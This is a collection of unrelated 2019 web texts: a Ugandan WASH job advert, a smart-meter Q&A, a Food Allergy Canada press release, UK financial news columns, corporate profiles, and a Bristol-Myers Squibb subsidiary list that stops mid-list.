Partner (IP) for UNHCR that positively contributes towards improving sustainable living standards of refugees and other Persons of Concern, through; WASH, Livelihoods and skills development, Environmental Conservation and Safe Access to Fuels and Energy (SAFE). With funding from UNHCR, Nsamizi Training Institute of Social Development, is to carryout recruitment of staff under the WASH sector to work on its project in Nakivale Refugee Settlement, Isingiro District. Job Summary: The Water Field Officer will be responsible for implementing and providing Water and Sanitation services to the Persons of Concern (PoCs) and ensuring Construction of water related facilities, installation of pipelines, repair and maintenance of water systems and strengthening the capacity of WASH community structures conducted on timely basis. . Qualifications, Skills and Experience: The ideal candidate must hold a Bachelors Degree in Water/Civil Engineering A minimum of three years experience in relevant field. Ability to mobilize and sensitize communities. Knowledge of AutoCAD is an added advantage. Knowledge of sanitation and hygiene promotion methodologies like PHAST or CHAST or PHASE or CLTS is a MUST. Possession of a valid riding permit. The applicant must be fluent in written and spoken English Fluency in Kiswahili will be an added advantage How to Apply: All suitably qualified and interested candidates should send an application letter, curriculum vitae and all academic documents to: The Principal, Nsamizi Training Institute for Social Development, P. O. Box 149, Mpigi. Uganda Deadline: 3rd May 2019 by 3:00pm For more of the latest jobs, please visit https://www.theugandanjobline.com or find us on our facebook page https://www.facebook.com/UgandanJobline Westerly, RI (02891) Today Clear skies. Low around 25F. Winds WNW at 10 to 15 mph.. Tonight Clear skies. Low around 25F. Winds WNW at 10 to 15 mph. There are many questions surrounding the smart meter roll out from: 'is it spying on me?' to 'can it actually save me money?' The devices have been a bone of contention since their introduction with many customers distrustful of the new method of calculating energy bills. This hasn't been helped by the number of myths surrounding the technology. A new study by YouGov has even found that respondents believe having one of the devices installed rarely leads to lower energy costs - just seven per cent of households with a smart meter saw a reduced bill. Change: If you move house, you should leave you in-home display for the next tenants to use Meanwhile, 47 per cent of those without a device said they were 'very unlikely' to have a smart meter installed during the next 12 months, the survey of more than 2,000 found. Smart Energy GB has revealed to This is Money some of the most common and outlandish questions it has been asked about smart meters. If you have your own question for us to put to Smart Energy GB, get in touch: editor@thisismoney.co.uk What should you do with your in-home display when you move house? Leave it there for the next tenants/owners to use, don't throw it in the bin. Can you recycle your in-home display? If you decide not to use your smart meter's in-home display, it's best to keep it stored safely rather than dispose of it. If for any reason you need a new one, contact your energy supplier to find out what to do with your old in-home display rather than throwing away. How much does it cost in energy bills to have your in-home display on? Your smart meter's in-home display will cost around 1 of electricity a year to power. However, according to YouGov's survey, which was commissioned for the Electrical Contractors' Assocation, nine per cent of those with a smart meter claimed their bills had actually increased since having the device installed. How can a smart meter keep me safe? In 2017 and 2018 combined, over 635,000 unsafe situations unrelated to smart meters, have been identified by installers, during free visual safety checks which form part of the installation visit. Can a smart meter help vulnerable, elderly people? Smart meters could be used (with permission) to monitor for any irregularities in vulnerable people's homes. If a strange pattern is identified, such as if no lights have been turned on all day when someone is expected to be at home, someone can then be sent to check everything is okay. This could be used to spot the early signs of worsening dementia or other such issues. Are smart meters a health risk? No - smart meters are one of the safest pieces of equipment in your home. Research from Public Health England, the Government's watchdog on Public Health, shows that smart meters are not a danger to health. A study carried out by PHE shows that exposure to radio waves from smart meters is one million times less than international health guideline levels and is much lower than that from other everyday devices such as mobile phones and Wi-Fi equipment. Your smart meter's in-home display will only cost around 1 of electricity a year to power Can my smart meter be hacked? Your smart meter is one of the most secure pieces of technology in your home. But compared to things like your mobile phone or your email account, the data it holds is incredibly simple. Even if someone could gain unauthorised access to your smart meter, there's very little they could actually do with it. Dr Ian Levy, Chief Technical director of National Cyber Security Centre, said: 'Security lies at the heart of the smart metering system and has been a key consideration at every stage of system development to ensure there are no 'loopholes'. 'The system operates on a national scale and has been designed as a secure end-to-end system, not just a collection of meters, energy suppliers and other components that have evolved individually.' Nearly a third of non-smart meter owners in the survey said the fear of data breaches and cyber-attacks was a reason for not getting a smart meter. Luke Osborne, ECA energy adviser, said: 'Public awareness of data security has increased significantly recently. These ECA findings show that the Government must do more to explain to the public why smart meters do not present a security risk from hacking or other data breaches.' However, just one per cent of those who have a smart meter reported any issue with data security or hacking. Another nine per cent said 'connectivity issues' was a problem. Can a smart meter spy on you? No - a smart meter can't spy on you any more than a traditional meter could. It doesn't have the capacity to see or hear, it can only measure the amount of energy you use. You choose how often you share your meter readings with your energy supplier ranging from monthly, daily or half hourly. How can a smart meter help conserve energy? Everyone in Britain using a smart meter would be equivalent to planting 10 million trees a year, or removing 600,000 cars by 2030. This is due to small and simple changes that every house could make. How much energy is actually used in the installation process? Every install has different circumstances, however, the actual process of installing a smart meter is highly likely to be minimal or zero, for a few reasons. The main electricity supply is shut off for a short amount of time during the install for safety reasons and installers generally use battery powered or non-electrical tools to complete the job. The same is true for gas smart meters. The supply into the home is halted while the meters are changed to avoid gas leaking freely into the surrounding area. During the short time energy is not entering the property, the customer is not charged by their supplier for usage. Will a smart meter charge me more to cook Christmas dinner? A smart meter wont charge you more than any other meal to cook a Christmas dinner. You will always pay according to your tariff which is set by your energy supplier. Toronto, ON, April 25, 2019 Food Allergy Canada Ambassador Alex Tagliani will be visiting Kimberley/Beaches Alternative School in Toronto on the morning of May 1st to help kick-off Food Allergy Awareness Month and promote allergy awareness. Alex, who has food allergies, will share his experience and tips on managing food allergy safely, as well as how to support students at risk of a serious reaction. Together with the students, Alex will be designing his 2019 NASCAR season opener #18 race car with team 22 Racing, which will be onsite at the school. Alex will unveil the car to race fans at the first NASCAR Pintys Series race on May 19th at Canadian Tire Motorsport Park in Bowmanville, Ont., where students will be invited to attend to see the race trackside. Food allergy is a very serious issue, but I approach it like I do a race preparation, teamwork, and being careful, said Alex. I look forward to meeting the students and answering their questions about food allergy and encouraging them to learn more and support their friends who may be at risk. Food allergies are a growing public health concern affecting more than 2.6 million Canadians. Given that even a small amount of an allergen, if ingested, could cause a serious allergic reaction and be potentially life-threatening, avoidance is the only means of staying safe. Public education, particularly for young people, is a key component of a strategy of safe and responsible food allergen management. We are excited to welcome Alex to our school to talk about food allergy and show his support for this important day-to-day issue, said Kimberley Public/Beaches Alternative School Principal Lilian Hanson. Our school strives to provide a safe and inclusive environment for all our students, and we look forward to hearing Alexs inspiring message. Who: Alex Tagliani What: Presentation to students on food allergy awareness; designing race car with students When: Wednesday, May 1st, 10am 12pm Where: Kimberley Public/Beaches Alternative School, 50 Swanwick Ave, Toronto Why: As part of Food Allergy Canadas efforts to raise awareness with the community Having Alex talk about his allergies is a great way of reaching students directly, letting them know that food allergy is a serious issue, but one that can be managed safely with support from those around you, including their teachers and friends, said Beatrice Povolo, Director of Advocacy & Media with Food Allergy Canada. About Food Allergy Canada Food Allergy Canada is a non-profit charitable organization dedicated to helping Canadians with food allergies and those who care for them. The organization is committed to creating a safer world for people with potentially life-threatening allergies through education, advocacy, and research. The organizations approach to reducing the risk of allergic reactions in both children and adults is focused on self-management, community engagement, understanding, and respect. For more information, please visit www.foodallergycanada.ca. About Alex Tagliani Alex Tagliani, also known by his racing name TAG, developed a passion for racing at the age of 10 when he was introduced to karting on a visit to see his paternal grandfather in Northern Italy. The Montreal native has shown his fans that he can drive anything from Indy Car to NASCAR to a prototype. Since the beginning of his career in open wheel racing, NASCAR, IMSA, Alex has accumulated 23 wins, 27 pole positions, 38 podiums and over 120 top10 finishes. A fierce competitor, Alex has many passions including training and nutrition and always takes precautions when managing his lifethreatening allergies to peanuts and tree nuts, including carrying his EpiPen (epinephrine) Auto-Injector. For more information please contact: Christopher Holcroft Empower Consulting for Food Allergy Canada 416-996-0767/ 514-844-0664 christopherholcroft@hotmail.ca Max dOrsonnens Tagliani Autosport/22 Racing 514-246-8909 maxdo@videotron.ca The gulf across the Atlantic can look unbridgeable. In Britain climate change activists from Extinction Rebellion have held London hostage for a fortnight and offered a 'pause' to disruption. UK-based supermajors BP and Shell are doing their best to pedal away from their oil heritage. BP has acquired Chargemaster, the UK's biggest operator of top-up pillars for electric vehicles. Shell is installing electric charge points on forecourts and moved away from oil to natural gas which is seen as a cleaner fuel. In the US the Trump administration is backing a new era of oil dominance not seen since John D Rockefeller was at the height of his powers at the turn of the 20th Century, when Standard Oil controlled 90 per cent of world production. Climate change activists from Extinction Rebellion have held London hostage for a fortnight That won't happen again, but latest data from the International Energy Agency shows the US is all but self-sufficient in oil and by 2021 will be an exporter. That's quite a thing in that as recently as 2015, exporting oil from America was illegal. Oil self-sufficiency is spawning significant trends. It allows Washington to flex its muscles when it comes to renegade oil exporting countries, including Iran, Libya and Venezuela. It no longer has to make nice to regimes it detests. This policy spawned the rise in Brent crude prices this week which gushed to $75-a-barrel. As America tightened the screws on Iran, there was a threat of global disruption to supplies, with Tehran muttering about closing the Strait of Hormuz, as almost happened in the first US-Iraq war in 1990. The other major impact is on America's domestic oil industry. After decades of retrenchment, during which it has been the smaller drillers that made headway in harnessing fracking, the economics have changed. Firmer prices, cheap credit and economies of scale are triggering merger fever. Earlier this month Chevron unleashed a 39billion bid for Anadarko Petroleum, which has substantial assets in the rich, west Texan Permian Basin. Chevron's intervention brought a response from Houston-based Occidental. Chief executive Vicki Hollub recruited Bank of America and Citigroup, and came back with a higher bid of 42billion in cash and shares. This would leave Anadarko's investors with a 29 per cent stake in the enlarged company. The danger for Hollub and the banks is that the present surge in the oil price is a blip, and when output from the Middle East normalises she will have loaded up Occidental with a hefty bank debt. This contested takeover is far from over. Extinction Rebellion can make as much noise as it likes. But it is unlikely to make any impact at all on the biggest fossil fuel, carbon-emitting nations. Rothschild switch Amid all the attention on the resignation of Ross McEwan from Royal Bank of Scotland, after five tumultuous years at the helm, another high level departure, that of Lord Rothschild from 3.2billion RIT Capital Partners, barely registered. Operating out of modest, ramshackle offices in London's elegant St James's, the senior member of the London branch of the Rothschild dynasty spent 31 years building RIT from a 280million investment trust into a 3.2billion behemoth, increasing his personal share of the family fortune to 672million through a 21 per cent personal stake. Lord Rothschild Jacob was banished from the family merchant bank NM Rothschild when he fell out with his cousin Sir Evelyn. When Evelyn retired he handed the reins to his French cousin Baron David, who recently let his son Alexander take the helm. From his headquarters in St James's, Jacob also teamed up with Sir Mark Weinberg to create J Rothschild Assurance, later renamed St James's Place and now a FTSE 100 financial group in its own right. Lord Rothschild may have once hoped his heir Nat Rothschild might succeed him. But for the moment the mantle of chairman passes to Sir James Leigh-Pemberton, former chief executive of Credit Suisse, who happens to run UK Financial Investments which holds the 58 per cent government stake in RBS. A full circle then... Holding fire Neil Woodford continues to take flak for the disappointing performance of his Patient Capital investment trust. The net asset value has tumbled 3.24 per cent since its 2015 launch. A surprise? Shouldn't be. The clue is in the name. Investors wanting something more racy should have looked elsewhere. Fever-Tree revealed earlier this week that boss Tim Warrillow had quadrupled his pay package last year to rake in 4million. That might seem a lot for the chief executive of a company listed on London's junior stock market, AIM, which is traditionally reserved for smaller, riskier businesses. But it is dwarfed by the sums Warrillow and his co-founder Charles Rolls have made from selling shares in the posh tonic company. Together they have cashed in more than 300million, and still own shares worth more than 42million. Drinks on him: Fever-Tree revealed earlier this week that boss Tim Warrillow had quadrupled his pay package last year to rake in 4m Investors won't be complaining because they have made a packet too. Since the company listed in 2014, its shares have shot up by a massive 1,780 per cent. Anyone who invested 1,000 in the business after its initial public offering would now be sitting on 18,800. Fever-Tree is one of the great successes of London's Alternative Investment Market, which was founded in 1995. AIM was designed to sweep away onerous listing requirements in order to allow younger firms to trade on a public market and have a go at pulling in money from a wide array of investors. There have been some stupendous successes. Over the last 10 years, a canny stockpicker could have made a 6,990 per cent return from ploughing money into biopharmaceutical company Hutchison China Meditech. Greeting card company IG Design Group which makes the Queen's Christmas crackers has returned 2,720 per cent for shareholders over the last decade. Litigation funder Burford Capital has generated returns of 1,260 per cent since 2014, and over two years Regal Petroleum was the best performer making a 926 per cent return. And anyone who put money in stem cell research firm Reneuron at the New Year would have made five times their investment back. Elaine Morgan, manager of the Kames UK Smaller Companies fund, explains that because the businesses which list on AIM tend to be in their nascent stages, they can grow rapidly if they end up creating a product or service which takes off. Paul Mumford, manager of the Cavendish AIM fund, points to Asos. Soon after the business listed in 2002, when few had thought about internet fashion shopping, Mumford invested 150,000 from the Cavendish AIM fund at 75p per share. When he sold the last part of his stake a few years later, the shares were trading at 22. They are now worth more than 40, having hit all-time highs last year of almost 78. Early stage companies are attracted to AIM because they don't need such a long track record as if they were applying to the main market. Governance and reporting requirements are also less stringent. But this means they may also be more risky. When AIM-listed Patisserie Valerie went bust earlier this year following an accounting scandal, questions were raised over whether the lighter regulatory touch made frauds easier to conceal. Matt Hoggarth, an analyst at Thesis Investment Management, says: 'Patisserie Valerie comes up as an elephant in the room when people talk about AIM stocks. 'We think it's a one-off case, and there have equally been problems in main market companies.' Energy supplier Yu Group raised eyebrows last year when it admitted massive miscalculations in its accounts, and in 2005 construction group Langbar collapsed when 370million seemingly disappeared. Mumford dismisses the idea that AIM is more prone to fraud. He points out that companies must still have their accounts audited, and are required to appoint a professional adviser to ensure they comply with their market obligations. He recommends investors spread their money across a variety of companies, or consider investing in an AIM fund which does that for them. AIM stocks can also be risky because of their lack of liquidity which can make it harder for investors to sell at a good price. Founders or major investors can own huge chunks of shares, meaning outside shareholders may not always get the hearing they would like. Companies often tend to be narrowly-focused compared to their main market peers, meaning that increased regulation or a setback in their niche can cause a significant hiccup. There can also be tax advantages in terms of savings on inheritance tax and capital gains tax, Looking ahead, Morgan has her money on law firm Knights and challenger stock exchange Aquis to be strong performers over the next few years. Mumford likes pharmaceuticals firm Clinigen. For savers seeking a thrill from their money, and who don't mind taking some risks, AIM can provide an exhilarating ride. Royal Bank of Scotland, which only yesterday revealed that its boss of five years was stepping down, said profits declined in the first quarter and reiterated that Brexit uncertainty was having a negative impact on business. The FTSE 100-listed lender, which is still 62 per cent owned by the taxpayer, held firm to its forecasts for the year, but warned that Brexit was likely to make growth more challenging as firms put off making large capital commitments. We recognise that the ongoing impact of Brexit uncertainty on the economy, and associated delay in business borrowing decisions, is likely to make income growth more challenging in the near term, the bank said. Profit fall: RBS warned that Brexit was likely to make near term growth more challenging Bottom line profits, although above expectations, came in at 707million - down 12.5 per cent on last year's 808million. Revenues in the first three months of the year were flat at 3billion, missing estimates of 3.3billion. RBS blamed competition in the mortgage market. Shares in RBS fell 5 per cent to 238p in morning trading. The results follow the resignation on Thursday of chief executive Ross McEwan, who claimed to be leaving the lender in a 'much stronger financial position' after his five-year tenure. Commenting on todays first quarter figures, he said: This is a solid set of results set against a highly uncertain and competitive backdrop. We continue to support our customers through this Brexit uncertainty while investing and innovating in digital services to meet rapidly changing customer needs. RBS said it was on track to take 300million of costs out of the group by the end of the financial year. And net interest margin - the difference between what a bank pays for funds and what it earns from lending - fell to 1.89 per cent from 2.04 per cent. Chairman Sir Howard Davies said the search for McEwan's successor will start immediately, with the bank casting the net both internally and externally. Alison Rose, who was recently promoted to deputy chief executive of NatWest Holdings, is seen as the leading internal candidate to take the reins. Leaving: RBS chief executive Ross McEwan Views from the City Graham Spooner from The Share Centre said today's slide in share price was a sign that investors were worried about the uncertain short-term outlook, as well as the fall in revenue. In their outlook the group reiterated the impact of Brexit on the economy and associated delays on businesses making borrowing decisions, which in turn will make for a more challenging near term with regard to income growth. Although this view should not come as a major surprise it does once again focus minds of investors who have become fatigued with Brexit on the possible consequences, Spooner said. Ed Monk, associate director at Fidelity Personal Investing, said Ross McEwan could claim credit for navigating RBS back to profitability last year, but todays update showed the challenge of growing from here. He said: 'Ironically, its political factors holding back the RBS share price and preventing the Government disposing of its 62 per cent stake in the bank. 'RBS shares remain about half the Governments buying price when it rescued the bank and will struggle to recover that ground while the twin political threats of a No Deal Brexit and full nationalistation under a Corbyn-led government remain. 'Overall, shareholders should toast McEwans tenure after 1.6billion in dividends were paid last year. The job of his successor is to repair the share price to the benefit of investors and taxpayers alike.' Mining titan Glencore has found itself at the centre of another corruption probe, this time with American regulators. The Commodity Futures Trading Commission is investigating Glencore, which mines and trades commodities from coal to agricultural grain. This new probe adds to the firm's headache in the US, where the Department of Justice is already scrutinising its oil deals in Nigeria and Venezuela. Glencore said it believes the CFTC's investigation is similar in scope to the DoJ's, which has already demanded records going back as far as 2007. US probe: America's Commodity Futures Trading Commission is investigating Glencore, which mines and trades commodities from coal to agricultural grain Canadian regulators have also been needling the group. They fined the former head of Glencore's copper business 1.3million in December over misleading financial statements on operations in the Democratic Republic of Congo. The Canadians also found that Katanga Mining which is majority-owned by Glencore failed to disclose its relationship with blacklisted Israeli businessman Dan Gertler. Investors backed away from Glencore, causing its shares to dip by 3.3 per cent, or 10.6p, to close at 310.85p. Stock Watch - FairFX Foreign exchange firm Fair FX is hailing 2018 as a transformational year, after revenue jumped 69 per cent to 26.1million. Turnover or how much currency the business sold, combined with the value of deposits paid into customers accounts more than doubled to 2.3billion. Fair FX, which provides customers with prepaid currency cards, saw its profit jump more than 650 per cent to 6.8million over the year. Shares in the business leapt 11.6 per cent, or 11p, to 106p. The heavyweight acted as drag on the FTSE 100, which slid 0.1 per cent, or 5.94 points, to 7428.19 points. Advertising group WPP wasn't quite able to pull the Footsie back into the black, even as its shares jumped by 5.4 per cent, or 49p, to 955p. WPP's trading update seemed alarming at first glance. Revenues slipped 2.8 per cent in the first quarter. It looked as though the firm was struggling to regain its footing after losing boss Sir Martin Sorrell last year, amid claims he used company cash to pay for a prostitute. Sorrell denies the allegations. WPP has since lost business from the likes of Ford, Glaxosmithkline and American Express, but has assured investors that its turnaround under boss Mark Read is on track. Russ Mould, AJ Bell's investment director, said although the results looked bad they were definitely no worse than feared. He said: 'Read may get the grace of the next 12 months to lay the foundations for recovery, but is likely to face pressure to get on with building WPP back up again as 2020 looms.' Textbook-maker Pearson, which is trying to move into the 21st century by becoming an online education firm, finally seems to be making progress. Revenues for the first quarter of the year climbed by 2 per cent, and the company is set to make 330million of savings per year by the end of 2019. Annual profit forecasts were steady at 590million to 640million, but investors showed little enthusiasm as shares ended the day down 0.7 per cent or 6.4p at 858.6p. George Salmon, an analyst at Hargreaves Lansdown, said: 'The worry for investors is that, for all the recent progress, the risks remain unchanged. 'Pearson's strategy makes sense but only if the educational market ends up looking very much like it does now, but with tablets rather than books. The challenge will be retaining market share in a world where freely available online resources provide a new type of competition,' he said. On the FTSE 250 IT provider Computacenter rocketed as it said trading in the first three months of the year had been 'pleasing'. Both revenue and profits at the firm, which works with bodies from the NHS to the Royal Mail, were ahead of expectations. Shares in the firm shot up 18.3 per cent, or 197p, to 1275p. But insurer Hastings Group countered the gains, tumbling by 12.8 per cent, or 28p, to 191p. Though live customer policies were up 3 per cent to 2.75m, Hastings warned that the cost of paying claims is rising rapidly across the industry. Rogers Communications Inc. operates as a communications and media company in Canada. It operates through three segments: Wireless, Cable, and Media. The company offers mobile Internet access, wireless voice and enhanced voice, device and accessory financing, wireless home phone, device protection, text messaging, e-mail, global voice and data roaming, bridging landline, machine-to-machine and Internet of Things solutions, and advanced wireless solutions for businesses, as well as device delivery services; and postpaid and prepaid services under the Rogers, Fido, and chatr brands to approximately 10.9 million subscribers. It also provides Internet and WiFi services; smart home monitoring services, such as monitoring, security, automation, energy efficiency, and smart control through a smartphone app. In addition, the company offers local and network TV; on-demand television; cloud-based digital video recorders; voice-activated remote controls, and integrated apps; personal video recorders; linear and time-shifted programming; digital specialty channels; 4K television programming; and televised content on smartphones, tablets, and personal computers, as well as operates Ignite TV and Ignite TV app. Further, it provides residential and small business local telephony services; calling features, such as voicemail, call waiting, and long distance; voice, data networking, Internet protocol, and Ethernet services; private networking, Internet, IP voice, and cloud solutions; optical wave and multi-protocol label switching services; IT and network technologies; and cable access network services. The company also owns Toronto Blue Jays and the Rogers Centre event venue; and operates Sportsnet ONE, Sportsnet 360, Sportsnet World, Citytv, OMNI, FX (Canada), FXX (Canada), and OLN television networks, as well as 55 AM and FM radio stations. Rogers Communications Inc. was founded in 1960 and is headquartered in Toronto, Canada. Read More The Boeing Co. is an aerospace company, which engages in the manufacture of commercial jetliners and defense, space and security systems. It operates through the following segments: Commercial Airplanes; Defense, Space and Security; Global Services; and Boeing Capital. The Commercial Airplanes segment includes the development, production, and market of commercial jet aircraft and provides fleet support services, principally to the commercial airline industry worldwide. The Defense, Space and Security segment refers to the research, development, production and modification of manned and unmanned military aircraft and weapons systems for global strike, including fighter and combat rotorcraft aircraft and missile systems; global mobility, including tanker, rotorcraft and tilt-rotor aircraft; and airborne surveillance and reconnaissance, including command and control, battle management and airborne anti-submarine aircraft. The Global Services segment provides services to commercial and defense customers. The Boeing Capital segment seeks to ensure that Boeing customers have the financing they need to buy and take delivery of their Boeing product and manages overall financing exposure. T Read More The following companies are subsidiares of Bristol-Myers Squibb: 1096271 B.C. ULC, 345 Park LLC, A.G. Medical Services P.A., AHI Investment LLC, AbVitro LLC, Abraxis BioScience Australia Pty Ltd., Abraxis BioScience Inc., Abraxis BioScience International Holding Company Inc., Abraxis BioScience LLC, Abraxis BioScience Puerto Rico LLC, Acetylon Pharmaceuticals Inc., Adnexus, Adnexus a Bristol-Myers Squibb R&D Company, Allard Labs Acquisition G.P., Amira Pharmaceuticals, Amira Pharmaceuticals Inc., Amylin Pharmaceuticals, Apothecon LLC, B-MS Generx Unlimited Company, BMS Benelux Holdings B.V., BMS Bermuda Nominees L.L.C., BMS Data Acquisition Company LLC, BMS Forex Company, BMS Holdings Sarl, BMS Holdings Spain S.L., BMS International Insurance Designated Activity Company, BMS Investco SAS, BMS Korea Holdings L.L.C., BMS Latin American Nominees L.L.C., BMS Luxembourg Partners L.L.C., BMS Omega Bermuda Holdings Finance Ltd., BMS Pharmaceutical Korea Limited, BMS Pharmaceuticals Germany Holdings B.V., BMS Pharmaceuticals International Holdings Netherlands B.V., BMS Pharmaceuticals Korea Holdings B.V., BMS Pharmaceuticals Mexico Holdings B.V., BMS Pharmaceuticals Netherlands Holdings B.V., BMS Real Estate LLC, BMS Spain Investments LLC, BMS Strategic Portfolio Investments Holdings Inc., Blisa Acquisition G.P., Bristol (Iran) S.A., Bristol Iran Private Company Limited, Bristol Laboratories Inc., Bristol Laboratories International S.A., Bristol Laboratories Medical Information Systems Inc., Bristol-Myers (Andes) L.L.C., Bristol-Myers (Private) Limited, Bristol-Myers Middle East S.A.L., Bristol-Myers Overseas Corporation, Bristol-Myers Squibb (China) Investment Co. Ltd., Bristol-Myers Squibb (China) Pharmaceuticals Co. Ltd., Bristol-Myers Squibb (Israel) Ltd., Bristol-Myers Squibb (NZ) Limited, Bristol-Myers Squibb (Proprietary) Limited, Bristol-Myers Squibb (Shanghai) Trading Co. Ltd., Bristol-Myers Squibb (Singapore) Pte. Limited, Bristol-Myers Squibb (Taiwan) Ltd., Bristol-Myers Squibb (West Indies) Ltd., Bristol-Myers Squibb A.E., Bristol-Myers Squibb Aktiebolag, Bristol-Myers Squibb Argentina S. R. L., Bristol-Myers Squibb Australia Pty. Ltd., Bristol-Myers Squibb Axia Limited, Bristol-Myers Squibb B.V., Bristol-Myers Squibb Belgium S.A., Bristol-Myers Squibb Business Services Limited, Bristol-Myers Squibb Canada Co., Bristol-Myers Squibb Canada International Limited, Bristol-Myers Squibb Delta Company Limited, Bristol-Myers Squibb Denmark Filial of Bristol-Myers Squibb AB, Bristol-Myers Squibb EMEA Sarl, Bristol-Myers Squibb Egypt LLC, Bristol-Myers Squibb Epsilon Holdings Unlimited Company, Bristol-Myers Squibb Farmaceutica Ltda., Bristol-Myers Squibb Farmaceutica Portuguesa S.A., Bristol-Myers Squibb GesmbH, Bristol-Myers Squibb GmbH & Co. KGaA, Bristol-Myers Squibb Holding Germany GmbH & Co. KG, Bristol-Myers Squibb Holdings 2002 Limited, Bristol-Myers Squibb Holdings Germany Verwaltungs GmbH, Bristol-Myers Squibb Holdings Ireland Unlimited Company, Bristol-Myers Squibb Holdings Limited, Bristol-Myers Squibb Holdings Pharma Ltd. Liability Company, Bristol-Myers Squibb Ilaclari Inc., Bristol-Myers Squibb India Pvt. Limited, Bristol-Myers Squibb International Company Unlimited Company, Bristol-Myers Squibb International Corporation, Bristol-Myers Squibb Investco L.L.C., Bristol-Myers Squibb K.K., Bristol-Myers Squibb Kft., Bristol-Myers Squibb Luxembourg International S.C.A., Bristol-Myers Squibb Luxembourg S.a.r.l., Bristol-Myers Squibb MEA GmbH, Bristol-Myers Squibb Manufacturing Company, Bristol-Myers Squibb Marketing Services S.R.L., Bristol-Myers Squibb Middle East & Africa FZ-LLC, Bristol-Myers Squibb Norway Ltd., Bristol-Myers Squibb Nutricionales de Mexico S. de R.L. de C.V., Bristol-Myers Squibb Peru S.A., Bristol-Myers Squibb Pharma (HK) Ltd, Bristol-Myers Squibb Pharma (Thailand) Limited, Bristol-Myers Squibb Pharma Company, Bristol-Myers Squibb Pharma EEIG, Bristol-Myers Squibb Pharma Holding Company LLC, Bristol-Myers Squibb Pharma Ventures Corporation, Bristol-Myers Squibb Pharmaceuticals Limited, Bristol-Myers Squibb Pharmaceuticals Unlimited Company, Bristol-Myers Squibb Polska Sp. z o.o., Bristol-Myers Squibb Products SA, Bristol-Myers Squibb Puerto Rico Inc., Bristol-Myers Squibb Puerto Rico/Sanofi Pharmaceutical Partnership Puerto Rico, Bristol-Myers Squibb Romania S.R.L., Bristol-Myers Squibb S.A.U., Bristol-Myers Squibb S.r.l., Bristol-Myers Squibb SA, Bristol-Myers Squibb Sanofi Pharmaceuticals Holding Partnership, Bristol-Myers Squibb Sarl, Bristol-Myers Squibb Service Ltd., Bristol-Myers Squibb Services Sp. z o.o., Bristol-Myers Squibb Spol. s r.o., Bristol-Myers Squibb Theta Finance Ltd., Bristol-Myers Squibb Trustees Limited, Bristol-Myers Squibb Verwaltungs GmbH, Bristol-Myers Squibb de Colombia S.A., Bristol-Myers Squibb de Costa Rica Sociedad Anonima, Bristol-Myers Squibb de Guatemala S.A., Bristol-Myers Squibb de Mexico S. de R.L. de C.V., Bristol-Myers Squibb/Astrazeneca EEIG, Bristol-Myers Squibb/Pfizer EEIG, Bristol-Myers Squibb/Sanofi Pharmaceuticals Partnership, Bristol-Myers de Venezuela S.C.A., CHT I LLC, CHT II LLC, CHT III LLC, CHT IV LLC, CR Finance Company LLC, Cardioxyl Pharmaceuticals, Cardioxyl Pharmaceuticals Inc., Celem LLC, Celem Ltd., Celgene, Celgene A.B., Celgene AS, Celgene Ab (Finland), Celgene Alpine Investment Co. II LLC, Celgene Alpine Investment Co. III LLC, Celgene Alpine Investment Co. LLC, Celgene ApS, Celgene B.V., Celgene BVBA, Celgene Brasil Produtos Farmaceuticos Ltda., Celgene CAR LLC, Celgene CAR Ltd., Celgene Chemicals Sarl, Celgene China Holdings LLC, Celgene Co., Celgene Corporation, Celgene Distribution B.V., Celgene EngMab GmbH, Celgene Europe B.V., Celgene Europe Limited, Celgene European Investment Company LLC, Celgene Financing Company LLC, Celgene Global Holdings Sarl, Celgene GmbH [Austria], Celgene GmbH [Germany], Celgene GmbH [Switzerland], Celgene Holdings East Corporation, Celgene Holdings II Sarl, Celgene Holdings III Sarl, Celgene Ilac Pazarlama ve Ticaret Limited Sirketi, Celgene Inc., Celgene International Holdings Corporation, Celgene International II Sarl, Celgene International III Sarl, Celgene International Inc., Celgene International Sarl, Celgene K.K., Celgene Kft., Celgene Limited [Hong Kong], Celgene Limited [Ireland], Celgene Limited [New Zealand], Celgene Limited [Taiwan], Celgene Limited [UK], Celgene Logistics Sarl, Celgene Ltd, Celgene Luxembourg Sarl, Celgene Management Sarl, Celgene NJ Investment Co, Celgene Netherlands B.V., Celgene Netherlands Investment B.V., Celgene Pharmaceutical (Shanghai) Co. Ltd., Celgene Pte. Ltd., Celgene Pty Ltd, Celgene Puerto Rico Distribution LLC, Celgene Quanticel Research Inc, Celgene R&D Sarl, Celgene RIVOT LLC, Celgene RIVOT Ltd., Celgene RIVOT SRL, Celgene Receptos Limited, Celgene Receptos Sarl, Celgene Research Incubator At Summit West LLC, Celgene Research S.L.U., Celgene Research and Development Company LLC, Celgene Research and Development I ULC, Celgene Research and Development II LLC, Celgene Research and Investment Company II LLC, Celgene S. de R.L. de C.V., Celgene S.L.U., Celgene S.R.L., Celgene SAS, Celgene Sarl AU, Celgene Sdn Bhd, Celgene Services Sarl, Celgene Sociedade Unipessoal Lda, Celgene Sp. Z.o.o., Celgene Sro [Czech Republic], Celgene Summit Investment Co, Celgene Switzerland Holding Sarl, Celgene Switzerland II LLC, Celgene Switzerland Investment Sarl, Celgene Switzerland LLC, Celgene Switzerland Sarl, Celgene Tri A Holdings Ltd., Celgene Tri Sarl, Celgene UK Distribution Limited, Celgene UK Holdings Limited, Celgene UK Manufacturing II Limited, Celgene UK Manufacturing III Limited, Celgene UK Manufacturing Limited, Celgene d.o.o., Celgene sro [Slovakia], Celmed LLC, Celmed Ltd., ConvaTec Divestiture, Cormorant Pharmaceuticals, Cormorant Pharmaceuticals AB, Crosp Ltd., Delinia Inc., Deuteria Pharmaceuticals Inc., DuPont Pharmaceuticals, E. R. Squibb & Sons Inter-American Corporation, E. R. Squibb & Sons L.L.C., E. R. Squibb & Sons Limited, EWI Corporation, EngMab Sarl, F-star Alpha, FermaVir Pharmaceuticals L.L.C., FermaVir Research L.L.C., Flexus Biosciences, Flexus Biosciences Inc., Forbius, Galecto Biotech, GenPharm International L.L.C., Gloucester Pharmaceuticals LLC, Grove Insurance Company Ltd., Heyden Farmaceutica Portuguesa Limitada, IFM Therapeutics, Impact Biomedicines Inc., Inhibitex, Inhibitex L.L.C., Innate Tumor Immunity Inc., JuMP Holdings LLC, Juno Therapeutics GmbH, Juno Therapeutics Inc., Kosan Biosciences, Kosan Biosciences Incorporated, Linson Investments Limited, Mead Johnson (Manufacturing) Jamaica Limited, Mead Johnson Jamaica Ltd., Medarex, Morris Avenue Investment II LLC, Morris Avenue Investment LLC, MyoKardia, O.o.o. Bristol-Myers Squibb, Oy Bristol-Myers Squibb (Finland) AB, Padlock Therapeutics, Padlock Therapeutics Inc., 